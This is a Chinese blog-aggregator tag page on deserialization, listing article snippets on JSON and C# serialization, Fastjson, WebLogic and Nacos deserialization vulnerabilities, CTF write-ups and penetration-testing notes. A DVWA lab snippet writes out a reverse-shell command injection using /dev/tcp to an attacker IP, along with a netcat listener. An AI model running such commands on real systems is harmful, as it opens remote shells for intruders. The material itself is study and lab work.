weblogic反序列化

【C#进阶八】C#中的序列化与反序列化下（二进制序列化、XML序列化及JSON序列化）

文章目录二进制序列化与反序列化序列化与反序列化代码示例运行结果上一篇介绍了XML序列化及JSON序列化，这一篇接着介绍二进制序列化。
智能建造小硕·2023-11-02 06:21

LT8918L适用于双端口 LVDS 转 MIPIDSI/CSI-2 应用方案

该桥对输入LVDS数据进行反序列化，对数据包进行解码，并将格式化的视频数据流转换为MIPIDSI/CSI-2发射器输出。对于MIPIDSI/CSI-2输出，LT8918L具有一个单端口MIPID
weixin_69065474·2023-11-01 19:57

LT9211C适用于MIPI DSI/CSI-2/双端口 LVDS 和 TTL 之间相互转换

LT9211C对输入MIPI/LVDS/TTL视频数据进行反序列化，对数据包进行解码，并将格式化的视频数据流转换为AP和移动显示面板或
weixin_69065474·2023-11-01 19:27

Ｃ＃ 如何使用 System.Text.Json 启用不区分大小写的属性名称

不区分大小写的属性匹配默认情况下，反序列化会查找JSON与目标对象属性之间区分大小写的属性名称匹配。
心语明洲·2023-11-01 16:15

golang json 反序列化多态记录

funcTest_polymorphic(t*testing.T){body:=`{"vehicles":[{"type":"car","make":"BMW","model":"M3","seatingCapacity":4,"topSpeed":250},{"type":"truck","make":"Volvo","model":"FH","payloadCapacity":40000},{
gitxuzan_·2023-11-01 14:59

golang json 反序列化多态记录

funcTest_polymorphic(t*testing.T){body:=`{"vehicles":[{"type":"car","make":"BMW","model":"M3","seatingCapacity":4,"topSpeed":250},{"type":"truck","make":"Volvo","model":"FH","payloadCapacity":40000},{
gitxuzan_·2023-11-01 14:59

让SOME/IP运转起来——SOME/IP系统设计（上）

SOME/IP中主要定义了：数据的序列化：SOME/IP支持的数据类型，复杂数据的序列化及反序列化方式通信机制：提供Request/Response、Fire&Forget、发布-订阅的通信机制服务发现
经纬恒润·2023-11-01 10:18

应用层 HTTP协议分析

数据流协议格式请求方法响应状态码请求头部响应头部Cookie/Session抓包分析应用层：通过进程间通信完成网络任务自定制协议自定制协议是程序员在应用层描述描述应用数据的协议，要保证一方在发送时可以构造数据（序列化），一方在接收时能够解析数据（反序列化
敬亭山_·2023-11-01 08:48

记一次完整的内网渗透经历

因为主要还是想练习练习内网，所以用了最简单粗暴的方法去找寻找目标，利用fofa来批量了一波weblogic，不出一会便找到了目标。
渗透测试中心·2023-11-01 06:39

golang json格式化自定义日期格式

go的time.Time,在json序列化是默认2006-01-02T15:04:05Z07:00的格式，十分不便，encoding/json包在序列化和反序列化的时候分别调用encode.go下的Marshaler
linqining·2023-11-01 06:07

文件上传与Phar反序列化的摩擦

提示：文章yu写完后，目录可以自动生成，如何生成可参考右边的帮助文档目录前言一、Phar是什么?二、Phar压缩文件的组成三、Phar伪协议四、SWPU2018[SimplePHP]五、[NSSRound#4SWPU]1zweb六、[HSCSEC2023]EASYPHY七、[SWPUCTF2021新生赛]babyunser总结前言提示：这里可以添加本文要记录的大概内容：最近在刷题的时候，连续做到了
Aiwin-Hacker·2023-11-01 04:19

[NSSRound#4] 复现

TypeMessageWeb1zweb直接能非预期读出来flag1zweb(revenge)就是上题的预期解文件上传、反序列化、PHP伪协议index.phpljt="ljt";$this->dky="
ThnPkm·2023-11-01 04:47

fastjson对象序列化的问题

今天偶然遇到一个fastjson将字符串反序列化为一个对象的时候的问题，就是简单的通过com.alibaba.fastjson.JSON将对象转为字符串，然后再从字符串转换为原类型的对象。
一个有梦想的Java程序员·2023-11-01 00:20

SpringBoot -- 请求数据多态映射（jackson）

文章目录实现方式示例抽象类对象若干实现类测试接口及前端传递请求体接参结果@JsonTypeInfo和@JsonSubTypes其他常用映射方式1__指定对象类型（两种方式）2__自定义序列化、反序列化方式实现方式可以通过
Mingvvv·2023-10-31 23:16

Android 序列化与反序列化

一、概述对象序列化的意思就是将对象的状态转换成字节流，以后可以通过这些值在生成相同状态的对象，对象序列化就是对象持久化的一种实现方法，它是将对象的属性和方法转化为一种序列化的形式用于存储和传输，反序列化就是根据这些保存的信息重建对象的过程
mumuxi_·2023-10-31 22:04

一款针对SpringBootEnv页面进行快速漏洞利用

TODO支持EurekaXStreamdeserializationRCE支持Fastjson内存马注入支持更多可以使用JNDI内存马注入反序列化漏洞支持内存马路径和密码修改........来龙去脉项目是根据
安全大哥·2023-10-31 21:21

渗透测试-02漏洞扫描

针对某类漏洞的：sql注入（sqlmap）weblogic（weblogicscan）针对某类CMS的：wordpress（wpscan）、dedecms（dedecmsscan）针对系统应用层：nessus
曲折上升·2023-10-31 21:18

Nacos反序列化漏洞利用工具v0.5

项目简介刨洞安全@凉风师傅写的一个NacosHessian反序列化漏洞利用工具，目前已更新到v0.5，欢迎Star！
潇湘信安·2023-10-31 21:17

一款Nacos漏洞自动化工具

1、参考GitHub-charonlight/NacosExploitGUI:Nacos漏洞综合利用GUI工具，集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用0x01前言本工具已经集成
安全大哥·2023-10-31 21:40

Oracle 10g与Weblogic12踩坑笔记

由于公司接到一个新项目，需要采用Oracle数据库和Weblogic来进行开发、项目部署，由于以前均采用mysql和tomcat组合，转变过程比较艰难，填了几个坑，故为之记1、Oracle踩坑（1）安装坑
墨者弘毅·2023-10-31 16:10

QVD-2023-19300：致远M1 usertokenservice反序列化RCE漏洞复现

文章目录致远M1usertokenservice反序列化RCE漏洞(QVD-2023-19300)复现0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造
gaynell·2023-10-31 13:49

信息收集&命令注入&反序列化(dvwa)

信息收集zoomeye钟馗之眼shodan撒旦fofa采用hash搜索标签页上面的小图片http.favicon.hash:-842852785命令注入dvwa的命令执行漏洞利用测试是否存在命令注入127.0.0.1|winver反弹shellkali监听7777端口nc-lvp7777注：测试环境Ubuntu虚拟机dvwa命令注入输入;bash-i>&/dev/tcp/kali的ip地址/777
LztCode·2023-10-31 11:08

Fastjson反序列化漏洞复现(实战案例)

漏洞介绍FastJson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。通俗理解就是：漏洞利用fastjsonautotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过
zxl2605·2023-10-31 10:39

springboot解决fastJson反序列化漏洞

springboot解决fastJson反序列化漏洞1.fastJson版本升级为>1.2.66**RedisSerializer实现类添加**//解决fastJson反序列化漏洞,关闭autoTypestatic
java_rookie_tz·2023-10-31 10:09

Fastjson 反序列化漏洞

通过查找代码中相关的方法，即可构造出一些恶意利用链Fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检
慕筱蚺·2023-10-31 10:07

Fastjson 1.2.47反序列化漏洞复现

目录一.前期准备：二.fastjson简介三.漏洞复现（一）：创建文件三.漏洞复现（二）：反弹shell一.前期准备：1.安装jdk，并配置环境：Kali安装JDK1.8的详细过程_m0_54899775的博客-CSDN博客2.安装maven，并配置环境：kalilinux安装maven_m0_54899775的博客-CSDN博客3.安装vulhub靶场环境：KaliLinux2020安装vulh
景天zy·2023-10-31 10:06

Fastjson反序列化漏洞原理与复现

Fastjson反序列化漏洞原理与复现1漏洞介绍1.1Fastjson简介1.2漏洞原理2复现流程2.1环境搭建2.2测试2.3过程分析3漏洞防御3.1排查方法3.2漏洞修复1漏洞介绍1.1Fastjson
FisrtBqy·2023-10-31 10:31

渗透测试-Fastjson反序列化漏洞getshell

目录前言测试环境准备dnslog测试搭建rmi服务器&准备恶意类引用JdbcRowSetImpl攻击反弹shell$命令执行总结关键字：fastjson1.2.24反序列化导致任意命令执行漏洞注：本次渗透测试全在虚拟机中进行仅用于学习交流
昵称还在想呢·2023-10-31 10:59

C#底层库--JSON使用教程_详细（序列化、反序列化、转DataTable）

系列文章C#底层库–程序日志记录类本文链接：https://blog.csdn.net/youcheng_ge/article/details/124187709C#底层库–MySQLBuilder脚本构建类（select、insert、update、in、带条件的SQL自动生成）本文链接：https://blog.csdn.net/youcheng_ge/article/details/1291
花北城·2023-10-31 10:55

C#中Json序列化和反序列化总结

Json序列化和反序列化总结JSON介绍1.什么是JSON?
行者之剑·2023-10-31 10:21

C#序列化和反序列化以及json保存和读取

什么是Json?Json【javascript对象表示方法】，它是一个轻量级的数据交换格式，我们可以很简单的来读取和写它，并且它很容易被计算机转化和生成，它是完全独立于语言的。Json支持下面两种数据结构:键值对的集合–各种不同的编程语言，都支持这种数据结构；有序的列表类型值的集合–这其中包含数组，集合，矢量，或者序列，等等。Json有下面几种表现形式:1.对象一个没有顺序的“键/值”,一个对象以
星河队长·2023-10-31 10:20

Jsonutility序列化和反序列化

Jsonutility是Unity自带的用于解析Json的公共类它可以：1.将内存中对象序列化为Json格式的字符串2.将Json字符串反序列化为类对象二、补充：在文件中存读字符串//1.存储字符串到指定文件中
_ElecSheep·2023-10-31 10:48

Kafka消费者之相关参数及分区分配再平衡

key.deserializer和value.deserializer指定接收消息的key和value的反序列化类型。一定要写全类名。group.id标记消费者所属的消费者组。
--只因--·2023-10-31 08:18

rpc框架设计

[toc]rpc框架设计rpc原理调用过程涉及的细节socket通信协议tcp、udp、httpip寻址过程通过域名寻找所有的ips-->服务发现在ips中找到一个ip-->负载均衡序列化与反序列化性能排序
会理发的店小二·2023-10-31 03:31

[wp]2023中山市第三届香山杯 web PHP_unserialize_pro

PHP_unserialize_pro考点：反序列化漏洞POP的构造eval()函数恶意php代码执行[]通配的形式绕过黑名单字母源代码：name = 'Wh0 4m I?'
文大。·2023-10-31 03:02

2020-04-15jboss反序列化漏洞、weblogic 、XXE原理利用防御

jboss反序列化漏洞还原获取webshell首先运行jboss打开jboss/bin运行利用java反序列利用工具，输入目标地址、然后上传木马上传打开木马记事本，找到密码登录登录Weblogic反序列化漏洞还原启动
寻找tp·2023-10-31 03:22

序列化与反序列化

1.结构化数据传输通信双方在进行网络通信的时候：如果要传输的数据是一个字符串那么通信双方直接发送即可如果要传输的数据是一些结构体此时就不能将这些数码一个个发送到网络中如果要实现一个网络版本的计算器，那么客户端每次发送的请求就需要包括左操作数，右操作数，和对应的操作。那么此时客户端要发送的就不是一个简单的字符串，而是一个结构体。如果客户端将这些结构化的数据单独一个个发送到网络中，那么服务端也只能一个
midslucky·2023-10-31 01:59

JSON和Protobuf序列化

JSON传输的编码器和解码器三、Protobuf协议通信1、一个简单的proto文件的实践案例2、生成POJO和Builder3、消息POJO和Builder的使用案例1）构造POJO消息对象2）序列化和反序列化四
得过且过的勇者y·2023-10-31 01:04

Weblogic 11g集群中的服务器在启动中出现BEA-000109错误

错误描述安装完成weblogic集群启动集群节点的时候报如下错误： 
L.云尘·2023-10-30 20:59

SpringBoot SerializationUtils克隆(反序列化) 类加载器不一致问题(ClassCastException)

问题分析在SpringBoot中使用org.apache.commons.lang.SerializationUtils.clone方法时，发现克隆出来的类强转对应类时发生类型不一致的错误，经过检测发现两个看似相同的类的类加载器不一致场景报错信息java.lang.ClassCastException:com.tianqiauto.tis.pc.dingdanyupai.po.PrePointca
Floruit_Show·2023-10-30 17:04

记录一道0xGame 2023 CTF Web ez_unserialize的反序列化漏洞题目收获

ez_unserialize考点：1.PHP的引用来绕过__wakeup2.命令行中执行php-r'phpinfo();'，即可获得完整的phpinfo输出3.PHP反序列化POP链的构造源码和代码审计
文大。·2023-10-30 14:10

【C#】复杂类型的深拷贝（并且解决CodeRunner输出窗口string乱码）

文章目录引用类型使用“=”XML序列化反序列化完成深拷贝VsCode中CodeRunner插件输出窗口中文乱码①网上建议的,CodeRunner使用终端②如果是Windows平台：③Linux下就不存在乱码
Austin_Yan·2023-10-30 13:00

渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

漏洞数据库：https://www.exploit-db.com/google-hacking-database1、渗透测试实用浏览器插件chrome、edge插件：搜索cookie，安装cookieeditor，打开插件，可以导出cookieHackBar：Hackbar是网络安全学习者常备的工具（https://www.fujieace.com/hacker/tools/hackbar.htm
擒贼先擒王·2023-10-30 06:27

总结之前项目的框架：MVP+Okhttp+Gson+Glide+DBFlow后期会修改不合理的地方

反序列化插件配置，几乎可以配置绝大部分主流的序列化和反序列化工具
嵩风抚·2023-10-30 05:40

phar反序列化学习SWPUCTF2018 SimplePHP

https://xz.aliyun.com/t/3692#toc-13str=$name;}publicfunction__destruct(){$this->test=$this->str;echo$this->test;}}classShow{public$source;public$str;publicfunction__construct($file){$this->source=$fil
I·CE·2023-10-30 04:38

[SWPUCTF 2018]SimplePHP--一道简单的Phar反序列化题目

复现环境：https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP题目就不贴了,直接给出利用链①：echo会触发__toString魔术方法,所以这里的$this->test应该是Show类实例化的对象show②：这里应该使$this->str['str']为Test类实例化后的对象test，然后test->source会触发__get魔术方法(因
雨季丶·2023-10-30 04:37

[SWPUCTF 2018]SimplePHP_wp

本题考查了pop链的构造，以及phar反序列化打开题目有三个模块，首页没有任何功能，上传文件有一个文件上传点，在查看文件模块的url中有一个参数file可控，我们可以尝试一下是否能得到一些信息经过尝试后发现利用这个
Fox_light·2023-10-30 04:06

phar反序列化学习

PHP反序列化常见的是使用unserilize()进行反序列化，除此之外还有其它的反序列化方法，不需要用到unserilize()。就是用到phar反序列化。
木…·2023-10-30 04:34

java如何全局性的将前端传入的对象中的为空的属性过滤

Java中可以使用Jackson这个库来进行对象的序列化和反序列化。可以使用@JsonInclude(JsonInclude.Include.NON_NULL)注解来忽略序列化时的null属性。
kdbshi·2023-10-29 18:13

Kafka消费者-代码示例和参数设置

参数：env.addSource(newKafkaConsumer/Source(参数))参数设置：1.订阅的主题2.反序列化规则3.消费之属性-集群地址4.消费者属性-消费者组ID（如果不设置，会有默认的
向天再借两厘米·2023-10-29 14:24
上一页 27 28 29 30 31 32 33 34 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他